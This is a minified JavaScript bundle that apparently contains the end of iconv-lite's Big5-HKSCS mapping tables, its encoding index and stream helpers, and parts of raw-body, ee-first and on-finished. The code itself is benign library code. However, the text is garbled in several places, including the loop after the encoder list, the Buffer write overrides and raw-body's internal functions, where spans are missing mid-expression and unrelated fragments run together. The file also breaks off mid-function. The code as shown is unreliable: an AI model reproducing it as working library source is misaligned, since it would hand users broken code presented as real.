C}\u8AEA\u{249F6}\u{26488}\u{23FEF}\u{26512}\u4BC0\u{265BF}\u{266B5}\u{2271B}\u9465\u{257E1}\u6195\u5A27\u{2F8CD}\u4FBB\u56B9\u{24521}\u{266FC}\u4E6A\u{24934}\u9656\u6D8F\u{26CBD}\u3618\u8977\u{26799}\u{2686E}\u{26411}\u{2685E}\u71DF\u{268C7}\u7B42\u{290C0}\u{20A11}\u{26926}\u9104\u{26939}\u7A45\u9DF0\u{269FA}\u9A26\u{26A2D}\u365F\u{26469}\u{20021}\u7983\u{26A34}\u{26B5B}\u5D2C\u{23519}\u83CF\u{26B9D}\u46D0\u{26CA4}\u753B\u8865\u{26DAE}\u58B6"],["9ca1","\u371C\u{2258D}\u{2704B}\u{271CD}\u3C54\u{27280}\u{27285}\u9281\u{2217A}\u{2728B}\u9330\u{272E6}\u{249D0}\u6C39\u949F\u{27450}\u{20EF8}\u8827\u88F5\u{22926}\u{28473}\u{217B1}\u6EB8\u{24A2A}\u{21820}\u39A4\u36B9\u5C10\u79E3\u453F\u66B6\u{29CAD}\u{298A4}\u8943\u{277CC}\u{27858}\u56D6\u40DF\u{2160A}\u39A1\u{2372F}\u{280E8}\u{213C5}\u71AD\u8366\u{279DD}\u{291A8}\u5A67\u4CB7\u{270AF}\u{289AB}\u{279FD}\u{27A0A}\u{27B0B}\u{27D66}\u{2417A}\u7B43\u797E\u{28009}\u6FB5\u{2A2DF}\u6A03\u{28318}\u53A2\u{26E07}\u93BF\u6836\u975D\u{2816F}\u{28023}\u{269B5}\u{213ED}\u{2322F}\u{28048}\u5D85\u{28C30}\u{28083}\u5715\u9823\u{28949}\u5DAB\u{24988}\u65BE\u69D5\u53D2\u{24AA5}\u{23F81}\u3C11\u6736\u{28090}\u{280F4}\u{2812E}\u{21FA1}\u{2814F}"],["9d40","\u{28189}\u{281AF}\u{2821A}\u{28306}\u{2832F}\u{2838A}\u35CA\u{28468}\u{286AA}\u48FA\u63E6\u{28956}\u7808\u9255\u{289B8}\u43F2\u{289E7}\u43DF\u{289E8}\u{28B46}\u{28BD4}\u59F8\u{28C09}\u8F0B\u{28FC5}\u{290EC}\u7B51\u{29110}\u{2913C}\u3DF7\u{2915E}\u{24ACA}\u8FD0\u728F\u568B\u{294E7}\u{295E9}\u{295B0}\u{295B8}\u{29732}\u{298D1}\u{29949}\u{2996A}\u{299C3}\u{29A28}\u{29B0E}\u{29D5A}\u{29D9B}\u7E9F\u{29EF8}\u{29F23}\u4CA4\u9547\u{2A293}\u71A2\u{2A2FF}\u4D91\u9012\u{2A5CB}\u4D9C\u{20C9C}\u8FBE\u55C1"],["9da1","\u8FBA\u{224B0}\u8FB9\u{24A93}\u4509\u7E7F\u6F56\u6AB1\u4EEA\u34E4\u{28B2C}\u{2789D}\u373A\u8E80\u{217F5}\u{28024}\u{28B6C}\u{28B99}\u{27A3E}\u{266AF}\u3DEB\u{27655}\u{23CB7}\u{25635}\u{25956}\u4E9A\u{25E81}\u{26258}\u56BF\u{20E6D}\u8E0E\u5B6D\u{23E88}\u{24C9E}\u63DE\u62D0\u{217F6}\u{2187B}\u6530\u562D\u{25C4A}\u541A\u{25311}\u3DC6\u{29D98}\u4C7D\u5622\u561E\u7F49\u{25ED8}\u5975\u{23D40}\u8770\u4E1C\u{20FEA}\u{20D49}\u{236BA}\u8117\u9D5E\u8D18\u763B\u9C45\u764E\u77B9\u9345\u5432\u8148\u82F7\u5625\u8132\u8418\u80BD\u55EA\u7962\u5643\u5416\u{20E9D}\u35CE\u5605\u55F1\u66F1\u{282E2}\u362D\u7534\u55F0\u55BA\u5497\u5572\u{20C41}\u{20C96}\u5ED0\u{25148}\u{20E76}\u{22C62}"],["9e40","\u{20EA2}\u9EAB\u7D5A\u55DE\u{21075}\u629D\u976D\u5494\u8CCD\u71F6\u9176\u63FC\u63B9\u63FE\u5569\u{22B43}\u9C72\u{22EB3}\u519A\u34DF\u{20DA7}\u51A7\u544D\u551E\u5513\u7666\u8E2D\u{2688A}\u75B1\u80B6\u8804\u8786\u88C7\u81B6\u841C\u{210C1}\u44EC\u7304\u{24706}\u5B90\u830B\u{26893}\u567B\u{226F4}\u{27D2F}\u{241A3}\u{27D73}\u{26ED0}\u{272B6}\u9170\u{211D9}\u9208\u{23CFC}\u{2A6A9}\u{20EAC}\u{20EF9}\u7266\u{21CA2}\u474E\u{24FC2}\u{27FF9}\u{20FEB}\u40FA"],["9ea1","\u9C5D\u651F\u{22DA0}\u48F3\u{247E0}\u{29D7C}\u{20FEC}\u{20E0A}\u6062\u{275A3}\u{20FED}"],["9ead","\u{26048}\u{21187}\u71A3\u7E8E\u9D50\u4E1A\u4E04\u3577\u5B0D\u6CB2\u5367\u36AC\u39DC\u537D\u36A5\u{24618}\u589A\u{24B6E}\u822D\u544B\u57AA\u{25A95}\u{20979}"],["9ec5","\u3A52\u{22465}\u7374\u{29EAC}\u4D09\u9BED\u{23CFE}\u{29F30}\u4C5B\u{24FA9}\u{2959E}\u{29FDE}\u845C\u{23DB6}\u{272B2}\u{267B3}\u{23720}\u632E\u7D25\u{23EF7}\u{23E2C}\u3A2A\u9008\u52CC\u3E74\u367A\u45E9\u{2048E}\u7640\u5AF0\u{20EB6}\u787A\u{27F2E}\u58A7\u40BF\u567C\u9B8B\u5D74\u7654\u{2A434}\u9E85\u4CE1\u75F9\u37FB\u6119\u{230DA}\u{243F2}"],["9ef5","\u565D\u{212A9}\u57A7\u{24963}\u{29E06}\u5234\u{270AE}\u35AD\u6C4A\u9D7C"],["9f40","\u7C56\u9B39\u57DE\u{2176C}\u5C53\u64D3\u{294D0}\u{26335}\u{27164}\u86AD\u{20D28}\u{26D22}\u{24AE2}\u{20D71}"],["9f4f","\u51FE\u{21F0F}\u5D8E\u9703\u{21DD1}\u9E81\u904C\u7B1F\u9B02\u5CD1\u7BA3\u6268\u6335\u9AFF\u7BCF\u9B2A\u7C7E\u9B2E\u7C42\u7C86\u9C15\u7BFC\u9B09\u9F17\u9C1B\u{2493E}\u9F5A\u5573\u5BC3\u4FFD\u9E98\u4FF2\u5260\u3E06\u52D1\u5767\u5056\u59B7\u5E12\u97C8\u9DAB\u8F5C\u5469\u97B4\u9940\u97BA\u532C\u6130"],["9fa1","\u692C\u53DA\u9C0A\u9D02\u4C3B\u9641\u6980\u50A6\u7546\u{2176D}\u99DA\u5273"],["9fae","\u9159\u9681\u915C"],["9fb2","\u9151\u{28E97}\u637F\u{26D23}\u6ACA\u5611\u918E\u757A\u6285\u{203FC}\u734F\u7C70\u{25C21}\u{23CFD}"],["9fc1","\u{24919}\u76D6\u9B9D\u4E2A\u{20CD4}\u83BE\u8842"],["9fc9","\u5C4A\u69C0\u50ED\u577A\u521F\u5DF5\u4ECE\u6C31\u{201F2}\u4F39\u549C\u54DA\u529A\u8D82\u35FE\u5F0C\u35F3"],["9fdb","\u6B52\u917C\u9FA5\u9B97\u982E\u98B4\u9ABA\u9EA8\u9E84\u717A\u7B14"],["9fe7","\u6BFA\u8818\u7F78"],["9feb","\u5620\u{2A64A}\u8E77\u9F53"],["9ff0","\u8DD4\u8E4F\u9E1C\u8E01\u6282\u{2837D}\u8E28\u8E75\u7AD3\u{24A77}\u7A3E\u78D8\u6CEA\u8A67\u7607"],["a040","\u{28A5A}\u9F26\u6CCE\u87D6\u75C3\u{2A2B2}\u7853\u{2F840}\u8D0C\u72E2\u7371\u8B2D\u7302\u74F1\u8CEB\u{24ABB}\u862F\u5FBA\u88A0\u44B7"],["a055","\u{2183B}\u{26E05}"],["a058","\u8A7E\u{2251B}"],["a05b","\u60FD\u7667\u9AD7\u9D44\u936E\u9B8F\u87F5"],["a063","\u880F\u8CF7\u732C\u9721\u9BB0\u35D6\u72B2\u4C07\u7C51\u994A\u{26159}\u6159\u4C04\u9E96\u617D"],["a073","\u575F\u616F\u62A6\u6239\u62CE\u3A5C\u61E2\u53AA\u{233F5}\u6364\u6802\u35D2"],["a0a1","\u5D57\u{28BC2}\u8FDA\u{28E39}"],["a0a6","\u50D9\u{21D46}\u7906\u5332\u9638\u{20F3B}\u4065"],["a0ae","\u77FE"],["a0b0","\u7CC2\u{25F1A}\u7CDA\u7A2D\u8066\u8063\u7D4D\u7505\u74F2\u8994\u821A\u670C\u8062\u{27486}\u805B\u74F0\u8103\u7724\u8989\u{267CC}\u7553\u{26ED1}\u87A9\u87CE\u81C8\u878C\u8A49\u8CAD\u8B43\u772B\u74F8\u84DA\u3635\u69B2\u8DA6"],["a0d4","\u89A9\u7468\u6DB9\u87C1\u{24011}\u74E7\u3DDB\u7176\u60A4\u619C\u3CD1\u7162\u6077"],["a0e2","\u7F71\u{28B2D}\u7250\u60E9\u4B7E\u5220\u3C18\u{23CC7}\u{25ED7}\u{27656}\u{25531}\u{21944}\u{212FE}\u{29903}\u{26DDC}\u{270AD}\u5CC1\u{261AD}\u{28A0F}\u{23677}\u{200EE}\u{26846}\u{24F0E}\u4562\u5B1F\u{2634C}\u9F50\u9EA6\u{2626B}"],["a3c0","\u2400",31,"\u2421"],["c6a1","\u2460",9,"\u2474",9,"\u2170",9,"\u4E36\u4E3F\u4E85\u4EA0\u5182\u5196\u51AB\u52F9\u5338\u5369\u53B6\u590A\u5B80\u5DDB\u2F33\u5E7F\u5EF4\u5F50\u5F61\u6534\u65E0\u7592\u7676\u8FB5\u96B6\xA8\u02C6\u30FD\u30FE\u309D\u309E\u3003\u4EDD\u3005\u3006\u3007\u30FC\uFF3B\uFF3D\u273D\u3041",23],["c740","\u3059",58,"\u30A1\u30A2\u30A3\u30A4"],["c7a1","\u30A5",81,"\u0410",5,"\u0401\u0416",4],["c840","\u041B",26,"\u0451\u0436",25,"\u21E7\u21B8\u21B9\u31CF\u{200CC}\u4E5A\u{2008A}\u5202\u4491"],["c8a1","\u9FB0\u5188\u9FB1\u{27607}"],["c8cd","\uFFE2\uFFE4\uFF07\uFF02\u3231\u2116\u2121\u309B\u309C\u2E80\u2E84\u2E86\u2E87\u2E88\u2E8A\u2E8C\u2E8D\u2E95\u2E9C\u2E9D\u2EA5\u2EA7\u2EAA\u2EAC\u2EAE\u2EB6\u2EBC\u2EBE\u2EC6\u2ECA\u2ECC\u2ECD\u2ECF\u2ED6\u2ED7\u2EDE\u2EE3"],["c8f5","\u0283\u0250\u025B\u0254\u0275\u0153\xF8\u014B\u028A\u026A"],["f9fe","\uFFED"],["fa40","\u{20547}\u92DB\u{205DF}\u{23FC5}\u854C\u42B5\u73EF\u51B5\u3649\u{24942}\u{289E4}\u9344\u{219DB}\u82EE\u{23CC8}\u783C\u6744\u62DF\u{24933}\u{289AA}\u{202A0}\u{26BB3}\u{21305}\u4FAB\u{224ED}\u5008\u{26D29}\u{27A84}\u{23600}\u{24AB1}\u{22513}\u5029\u{2037E}\u5FA4\u{20380}\u{20347}\u6EDB\u{2041F}\u507D\u5101\u347A\u510E\u986C\u3743\u8416\u{249A4}\u{20487}\u5160\u{233B4}\u516A\u{20BFF}\u{220FC}\u{202E5}\u{22530}\u{2058E}\u{23233}\u{21983}\u5B82\u877D\u{205B3}\u{23C99}\u51B2\u51B8"],["faa1","\u9D34\u51C9\u51CF\u51D1\u3CDC\u51D3\u{24AA6}\u51B3\u51E2\u5342\u51ED\u83CD\u693E\u{2372D}\u5F7B\u520B\u5226\u523C\u52B5\u5257\u5294\u52B9\u52C5\u7C15\u8542\u52E0\u860D\u{26B13}\u5305\u{28ADE}\u5549\u6ED9\u{23F80}\u{20954}\u{23FEC}\u5333\u5344\u{20BE2}\u6CCB\u{21726}\u681B\u73D5\u604A\u3EAA\u38CC\u{216E8}\u71DD\u44A2\u536D\u5374\u{286AB}\u537E\u537F\u{21596}\u{21613}\u77E6\u5393\u{28A9B}\u53A0\u53AB\u53AE\u73A7\u{25772}\u3F59\u739C\u53C1\u53C5\u6C49\u4E49\u57FE\u53D9\u3AAB\u{20B8F}\u53E0\u{23FEB}\u{22DA3}\u53F6\u{20C77}\u5413\u7079\u552B\u6657\u6D5B\u546D\u{26B53}\u{20D74}\u555D\u548F\u54A4\u47A6\u{2170D}\u{20EDD}\u3DB4\u{20D4D}"],["fb40","\u{289BC}\u{22698}\u5547\u4CED\u542F\u7417\u5586\u55A9\u5605\u{218D7}\u{2403A}\u4552\u{24435}\u66B3\u{210B4}\u5637\u66CD\u{2328A}\u66A4\u66AD\u564D\u564F\u78F1\u56F1\u9787\u53FE\u5700\u56EF\u56ED\u{28B66}\u3623\u{2124F}\u5746\u{241A5}\u6C6E\u708B\u5742\u36B1\u{26C7E}\u57E6\u{21416}\u5803\u{21454}\u{24363}\u5826\u{24BF5}\u585C\u58AA\u3561\u58E0\u58DC\u{2123C}\u58FB\u5BFF\u5743\u{2A150}\u{24278}\u93D3\u35A1\u591F\u68A6\u36C3\u6E59"],["fba1","\u{2163E}\u5A24\u5553\u{21692}\u8505\u59C9\u{20D4E}\u{26C81}\u{26D2A}\u{217DC}\u59D9\u{217FB}\u{217B2}\u{26DA6}\u6D71\u{21828}\u{216D5}\u59F9\u{26E45}\u5AAB\u5A63\u36E6\u{249A9}\u5A77\u3708\u5A96\u7465\u5AD3\u{26FA1}\u{22554}\u3D85\u{21911}\u3732\u{216B8}\u5E83\u52D0\u5B76\u6588\u5B7C\u{27A0E}\u4004\u485D\u{20204}\u5BD5\u6160\u{21A34}\u{259CC}\u{205A5}\u5BF3\u5B9D\u4D10\u5C05\u{21B44}\u5C13\u73CE\u5C14\u{21CA5}\u{26B28}\u5C49\u48DD\u5C85\u5CE9\u5CEF\u5D8B\u{21DF9}\u{21E37}\u5D10\u5D18\u5D46\u{21EA4}\u5CBA\u5DD7\u82FC\u382D\u{24901}\u{22049}\u{22173}\u8287\u3836\u3BC2\u5E2E\u6A8A\u5E75\u5E7A\u{244BC}\u{20CD3}\u53A6\u4EB7\u5ED0\u53A8\u{21771}\u5E09\u5EF4\u{28482}"],["fc40","\u5EF9\u5EFB\u38A0\u5EFC\u683E\u941B\u5F0D\u{201C1}\u{2F894}\u3ADE\u48AE\u{2133A}\u5F3A\u{26888}\u{223D0}\u5F58\u{22471}\u5F63\u97BD\u{26E6E}\u5F72\u9340\u{28A36}\u5FA7\u5DB6\u3D5F\u{25250}\u{21F6A}\u{270F8}\u{22668}\u91D6\u{2029E}\u{28A29}\u6031\u6685\u{21877}\u3963\u3DC7\u3639\u5790\u{227B4}\u7971\u3E40\u609E\u60A4\u60B3\u{24982}\u{2498F}\u{27A53}\u74A4\u50E1\u5AA0\u6164\u8424\u6142\u{2F8A6}\u{26ED2}\u6181\u51F4\u{20656}\u6187\u5BAA\u{23FB7}"],["fca1","\u{2285F}\u61D3\u{28B9D}\u{2995D}\u61D0\u3932\u{22980}\u{228C1}\u6023\u615C\u651E\u638B\u{20118}\u62C5\u{21770}\u62D5\u{22E0D}\u636C\u{249DF}\u3A17\u6438\u63F8\u{2138E}\u{217FC}\u6490\u6F8A\u{22E36}\u9814\u{2408C}\u{2571D}\u64E1\u64E5\u947B\u3A66\u643A\u3A57\u654D\u6F16\u{24A28}\u{24A23}\u6585\u656D\u655F\u{2307E}\u65B5\u{24940}\u4B37\u65D1\u40D8\u{21829}\u65E0\u65E3\u5FDF\u{23400}\u6618\u{231F7}\u{231F8}\u6644\u{231A4}\u{231A5}\u664B\u{20E75}\u6667\u{251E6}\u6673\u6674\u{21E3D}\u{23231}\u{285F4}\u{231C8}\u{25313}\u77C5\u{228F7}\u99A4\u6702\u{2439C}\u{24A21}\u3B2B\u69FA\u{237C2}\u675E\u6767\u6762\u{241CD}\u{290ED}\u67D7\u44E9\u6822\u6E50\u923C\u6801\u{233E6}\u{26DA0}\u685D"],["fd40","\u{2346F}\u69E1\u6A0B\u{28ADF}\u6973\u68C3\u{235CD}\u6901\u6900\u3D32\u3A01\u{2363C}\u3B80\u67AC\u6961\u{28A4A}\u42FC\u6936\u6998\u3BA1\u{203C9}\u8363\u5090\u69F9\u{23659}\u{2212A}\u6A45\u{23703}\u6A9D\u3BF3\u67B1\u6AC8\u{2919C}\u3C0D\u6B1D\u{20923}\u60DE\u6B35\u6B74\u{227CD}\u6EB5\u{23ADB}\u{203B5}\u{21958}\u3740\u5421\u{23B5A}\u6BE1\u{23EFC}\u6BDC\u6C37\u{2248B}\u{248F1}\u{26B51}\u6C5A\u8226\u6C79\u{23DBC}\u44C5\u{23DBD}\u{241A4}\u{2490C}\u{24900}"],["fda1","\u{23CC9}\u36E5\u3CEB\u{20D32}\u9B83\u{231F9}\u{22491}\u7F8F\u6837\u{26D25}\u{26DA1}\u{26DEB}\u6D96\u6D5C\u6E7C\u6F04\u{2497F}\u{24085}\u{26E72}\u8533\u{26F74}\u51C7\u6C9C\u6E1D\u842E\u{28B21}\u6E2F\u{23E2F}\u7453\u{23F82}\u79CC\u6E4F\u5A91\u{2304B}\u6FF8\u370D\u6F9D\u{23E30}\u6EFA\u{21497}\u{2403D}\u4555\u93F0\u6F44\u6F5C\u3D4E\u6F74\u{29170}\u3D3B\u6F9F\u{24144}\u6FD3\u{24091}\u{24155}\u{24039}\u{23FF0}\u{23FB4}\u{2413F}\u51DF\u{24156}\u{24157}\u{24140}\u{261DD}\u704B\u707E\u70A7\u7081\u70CC\u70D5\u70D6\u70DF\u4104\u3DE8\u71B4\u7196\u{24277}\u712B\u7145\u5A88\u714A\u716E\u5C9C\u{24365}\u714F\u9362\u{242C1}\u712C\u{2445A}\u{24A27}\u{24A22}\u71BA\u{28BE8}\u70BD\u720E"],["fe40","\u9442\u7215\u5911\u9443\u7224\u9341\u{25605}\u722E\u7240\u{24974}\u68BD\u7255\u7257\u3E55\u{23044}\u680D\u6F3D\u7282\u732A\u732B\u{24823}\u{2882B}\u48ED\u{28804}\u7328\u732E\u73CF\u73AA\u{20C3A}\u{26A2E}\u73C9\u7449\u{241E2}\u{216E7}\u{24A24}\u6623\u36C5\u{249B7}\u{2498D}\u{249FB}\u73F7\u7415\u6903\u{24A26}\u7439\u{205C3}\u3ED7\u745C\u{228AD}\u7460\u{28EB2}\u7447\u73E4\u7476\u83B9\u746C\u3730\u7474\u93F1\u6A2C\u7482\u4953\u{24A8C}"],["fea1","\u{2415F}\u{24A79}\u{28B8F}\u5B46\u{28C03}\u{2189E}\u74C8\u{21988}\u750E\u74E9\u751E\u{28ED9}\u{21A4B}\u5BD7\u{28EAC}\u9385\u754D\u754A\u7567\u756E\u{24F82}\u3F04\u{24D13}\u758E\u745D\u759E\u75B4\u7602\u762C\u7651\u764F\u766F\u7676\u{263F5}\u7690\u81EF\u37F8\u{26911}\u{2690E}\u76A1\u76A5\u76B7\u76CC\u{26F9F}\u8462\u{2509D}\u{2517D}\u{21E1C}\u771E\u7726\u7740\u64AF\u{25220}\u7758\u{232AC}\u77AF\u{28964}\u{28968}\u{216C1}\u77F4\u7809\u{21376}\u{24A12}\u68CA\u78AF\u78C7\u78D3\u96A5\u792E\u{255E0}\u78D7\u7934\u78B1\u{2760C}\u8FB8\u8884\u{28B2B}\u{26083}\u{2261C}\u7986\u8900\u6902\u7980\u{25857}\u799D\u{27B39}\u793C\u79A9\u6E2A\u{27126}\u3EA8\u79C6\u{2910D}\u79D4"]]});var hv=V((TV,mv)=>{"use strict";mv.exports={shiftjis:{type:"_dbcs",table:function(){return uv()},encodeAdd:{"\xA5":92,"\u203E":126},encodeSkipVals:[{from:60736,to:63808}]},csshiftjis:"shiftjis",mskanji:"shiftjis",sjis:"shiftjis",windows31j:"shiftjis",ms31j:"shiftjis",xsjis:"shiftjis",windows932:"shiftjis",ms932:"shiftjis",932:"shiftjis",cp932:"shiftjis",eucjp:{type:"_dbcs",table:function(){return lv()},encodeAdd:{"\xA5":92,"\u203E":126}},gb2312:"cp936",gb231280:"cp936",gb23121980:"cp936",csgb2312:"cp936",csiso58gb231280:"cp936",euccn:"cp936",windows936:"cp936",ms936:"cp936",936:"cp936",cp936:{type:"_dbcs",table:function(){return sc()}},gbk:{type:"_dbcs",table:function(){return sc().concat(Cd())}},xgbk:"gbk",isoir58:"gbk",gb18030:{type:"_dbcs",table:function(){return sc().concat(Cd())},gb18030:function(){return dv()},encodeSkipVals:[128],encodeAdd:{"\u20AC":41699}},chinese:"gb18030",windows949:"cp949",ms949:"cp949",949:"cp949",cp949:{type:"_dbcs",table:function(){return pv()}},cseuckr:"cp949",csksc56011987:"cp949",euckr:"cp949",isoir149:"cp949",korean:"cp949",ksc56011987:"cp949",ksc56011989:"cp949",ksc5601:"cp949",windows950:"cp950",ms950:"cp950",950:"cp950",cp950:{type:"_dbcs",table:function(){return Id()}},big5:"big5hkscs",big5hkscs:{type:"_dbcs",table:function(){return Id().concat(fv())},encodeSkipVals:[41676]},cnbig5:"big5hkscs",csbig5:"big5hkscs",xxbig5:"big5hkscs"}});var yv=V((gv,is)=>{"use strict";var vv=[Kh(),Jh(),Qh(),tv(),av(),sv(),cv(),hv()];for(ic=0;ic{"use strict";var _v=require("buffer").Buffer,cc=require("stream").Transform;bv.exports=function(t){t.encodeStream=function(r,n){return new rn(t.getEncoder(r,n),n)},t.decodeStream=function(r,n){return new Ea(t.getDecoder(r,n),n)},t.supportsStreams=!0,t.IconvLiteEncoderStream=rn,t.IconvLiteDecoderStream=Ea,t._collect=Ea.prototype.collect};function rn(t,e){this.conv=t,e=e||{},e.decodeStrings=!1,cc.call(this,e)}rn.prototype=Object.create(cc.prototype,{constructor:{value:rn}});rn.prototype._transform=function(t,e,r){if(typeof t!="string")return r(new Error("Iconv encoding stream needs strings as its input."));try{var n=this.conv.write(t);n&&n.length&&this.push(n),r()}catch(a){r(a)}};rn.prototype._flush=function(t){try{var e=this.conv.end();e&&e.length&&this.push(e),t()}catch(r){t(r)}};rn.prototype.collect=function(t){var e=[];return this.on("error",t),this.on("data",function(r){e.push(r)}),this.on("end",function(){t(null,_v.concat(e))}),this};function Ea(t,e){this.conv=t,e=e||{},e.encoding=this.encoding="utf8",cc.call(this,e)}Ea.prototype=Object.create(cc.prototype,{constructor:{value:Ea}});Ea.prototype._transform=function(t,e,r){if(!_v.isBuffer(t))return r(new Error("Iconv decoding stream needs buffers as its input."));try{var n=this.conv.write(t);n&&n.length&&this.push(n,this.encoding),r()}catch(a){r(a)}};Ea.prototype._flush=function(t){try{var e=this.conv.end();e&&e.length&&this.push(e,this.encoding),t()}catch(r){t(r)}};Ea.prototype.collect=function(t){var e="";return this.on("error",t),this.on("data",function(r){e+=r}),this.on("end",function(){t(null,e)}),this}});var Sv=V(($V,wv)=>{"use strict";var wt=require("buffer").Buffer;wv.exports=function(t){var e=void 0;t.supportsNodeEncodingsExtension=!(wt.from||new wt(0)instanceof Uint8Array),t.extendNodeEncodings=function(){if(!e){if(e={},!t.supportsNodeEncodingsExtension){console.error("ACTION NEEDED: require('iconv-lite').extendNodeEncodings() is not supported in your version of Node"),console.error("See more info at https://github.com/ashtuchkin/iconv-lite/wiki/Node-v4-compatibility");return}var n={hex:!0,utf8:!0,"utf-8":!0,ascii:!0,binary:!0,base64:!0,ucs2:!0,"ucs-2":!0,utf16le:!0,"utf-16le":!0};wt.isNativeEncoding=function(i){return i&&n[i.toLowerCase()]};var a=require("buffer").SlowBuffer;if(e.SlowBufferToString=a.prototype.toString,a.prototype.toString=function(i,o,c){return i=String(i||"utf8").toLowerCase(),wt.isNativeEncoding(i)?e.SlowBufferToString.call(this,i,o,c):(typeof o>"u"&&(o=0),typeof c>"u"&&(c=this.length),t.decode(this.slice(o,c),i))},e.SlowBufferWrite=a.prototype.write,a.prototype.write=function(i,o,c,u){if(isFinite(o))isFinite(c)||(u=c,c=void 0);else{var l=u;u=o,o=c,c=l}o=+o||0;var d=this.length-o;if(c?(c=+c,c>d&&(c=d)):c=d,u=String(u||"utf8").toLowerCase(),wt.isNativeEncoding(u))return e.SlowBufferWrite.call(this,i,o,c,u);if(i.length>0&&(c<0||o<0))throw new RangeError("attempt to write beyond buffer bounds");var f=t.encode(i,u);return f.length"u"&&(o=0),typeof c>"u"&&(c=this.length),t.decode(this.slice(o,c),i))},e.BufferWrite=wt.prototype.write,wt.prototype.write=function(i,o,c,u){var l=o,d=c,f=u;if(isFinite(o))isFinite(c)||(u=c,c=void 0);else{var m=u;u=o,o=c,c=m}if(u=String(u||"utf8").toLowerCase(),wt.isNativeEncoding(u))return e.BufferWrite.call(this,i,l,d,f);o=+o||0;var g=this.length-o;if(c?(c=+c,c>g&&(c=g)):c=g,i.length>0&&(c<0||o<0))throw new RangeError("attempt to write beyond buffer bounds");var b=t.encode(i,u);return b.length{"use strict";var Tv=en().Buffer,kv=Zh(),Ye=$v.exports;Ye.encodings=null;Ye.defaultCharUnicode="\uFFFD";Ye.defaultCharSingleByte="?";Ye.encode=function(e,r,n){e=""+(e||"");var a=Ye.getEncoder(r,n),s=a.write(e),i=a.end();return i&&i.length>0?Tv.concat([s,i]):s};Ye.decode=function(e,r,n){typeof e=="string"&&(Ye.skipDecodeWarning||(console.error("Iconv-lite warning: decode()-ing strings is deprecated. Refer to https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding"),Ye.skipDecodeWarning=!0),e=Tv.from(""+(e||""),"binary"));var a=Ye.getDecoder(r,n),s=a.write(e),i=a.end();return i?s+i:s};Ye.encodingExists=function(e){try{return Ye.getCodec(e),!0}catch{return!1}};Ye.toEncoding=Ye.encode;Ye.fromEncoding=Ye.decode;Ye._codecDataCache={};Ye.getCodec=function(e){Ye.encodings||(Ye.encodings=yv());for(var r=Ye._canonicalizeEncoding(e),n={};;){var a=Ye._codecDataCache[r];if(a)return a;var s=Ye.encodings[r];switch(typeof s){case"string":r=s;break;case"object":for(var i in s)n[i]=s[i];n.encodingName||(n.encodingName=r),r=s.type;break;case"function":return n.encodingName||(n.encodingName=r),a=new s(n,Ye),Ye._codecDataCache[n.encodingName]=a,a;default:throw new Error("Encoding not recognized: '"+e+"' (searched as: '"+r+"')")}}};Ye._canonicalizeEncoding=function(t){return(""+t).toLowerCase().replace(/:\d{4}$|[^0-9a-z]/g,"")};Ye.getEncoder=function(e,r){var n=Ye.getCodec(e),a=new n.encoder(r,n);return n.bomAware&&r&&r.addBOM&&(a=new kv.PrependBOM(a,r)),a};Ye.getDecoder=function(e,r){var n=Ye.getCodec(e),a=new n.decoder(r,n);return n.bomAware&&!(r&&r.stripBOM===!1)&&(a=new kv.StripBOM(a,r)),a};var Ev=typeof process<"u"&&process.versions&&process.versions.node;Ev&&(Ad=Ev.split(".").map(Number),(Ad[0]>0||Ad[1]>=10)&&xv()(Ye),Sv()(Ye));var Ad});var uc=V((PV,Rv)=>{"use strict";Rv.exports=yP;function gP(t){for(var e=t.listeners("data"),r=0;r{"use strict";var Pv=kP(),_P=Qn(),an=Ya(),bP=Nd(),xP=uc();Cv.exports=EP;var wP=/^Encoding not recognized: /;function SP(t){if(!t)return null;try{return bP.getDecoder(t)}catch(e){throw wP.test(e.message)?an(415,"specified encoding unsupported",{encoding:t,type:"encoding.unsupported"}):e}}function EP(t,e,r){var n=r,a=e||{};if(t===void 0)throw new TypeError("argument stream is required");if(typeof t!="object"||t===null||typeof t.on!="function")throw new TypeError("argument stream must be a stream");if((e===!0||typeof e=="string")&&(a={encoding:e}),typeof e=="function"&&(n=e,a={}),n!==void 0&&typeof n!="function")throw new TypeError("argument callback must be a function");if(!n&&!global.Promise)throw new TypeError("argument callback is required");var s=a.encoding!==!0?a.encoding:"utf-8",i=_P.parse(a.limit),o=a.length!=null&&!isNaN(a.length)?parseInt(a.length,10):null;return n?Ov(t,s,o,i,$P(n)):new Promise(function(u,l){Ov(t,s,o,i,function(f,m){if(f)return l(f);u(m)})})}function TP(t){xP(t),typeof t.pause=="function"&&t.pause()}function Ov(t,e,r,n,a){var s=!1,i=!0;if(n!==null&&r!==null&&r>n)return d(an(413,"request entity too large",{expected:r,length:r,limit:n,type:"entity.too.large"}));var o=t._readableState;if(t._decoder||o&&(o.encoding||o.decoder))return d(an(500,"stream encoding should not be set",{type:"stream.encoding.set"}));if(typeof t.readable<"u"&&!t.readable)return d(an(500,"stream is not readable",{type:"stream.not.readable"}));var c=0,u;try{u=SP(e)}catch(p){return d(p)}var l=u?"":[];t.on("aborted",f),t.on("close",b),t.on("data",m),t.on("end",g),t.on("error",g),i=!1;function d(){for(var p=new Array(arguments.length),h=0;hn?d(an(413,"request entity too large",{limit:n,received:c,type:"entity.too.large"})):u?l+=u.write(p):l.push(p))}function g(p){if(!s){if(p)return d(p);if(r!==null&&c!==r)d(an(400,"request size did not match content length",{expected:r,length:r,received:c,type:"request.size.invalid"}));else{var h=u?l+(u.end()||""):Buffer.concat(l);d(null,h)}}}function b(){l=null,t.removeListener("aborted",f),t.removeListener("data",m),t.removeListener("end",g),t.removeListener("error",g),t.removeListener("close",b)}}function kP(){try{return require("async_hooks")}catch{return{}}}function $P(t){var e;return Pv.AsyncResource&&(e=new Pv.AsyncResource(t.name||"bound-anonymous-fn")),!e||!e.runInAsyncScope?t:e.runInAsyncScope.bind(e,t,null)}});var Nv=V((CV,Av)=>{"use strict";Av.exports=RP;function RP(t,e){if(!Array.isArray(t))throw new TypeError("arg must be an array of [ee, events...] arrays");for(var r=[],n=0;n{"use strict";jd.exports=CP;jd.exports.isFinished=Dv;var jv=MP(),Mv=Nv(),OP=typeof setImmediate=="function"?setImmediate:function(t){process.nextTick(t.bind.apply(t,arguments))};function CP(t,e){return Dv(t)!==!1?(OP(e,null,t),t):(AP(t,DP(e)),t)}function Dv(t){var e=t.socket;if(typeof t.finished=="boolean")return!!(t.finished||e&&!e.writable);if(typeof t.complete=="boolean")return!!(t.upgrade||!e||!e.readable||t.complete&&!t.readable)}function IP(t,e){var r,n,a=!1;function 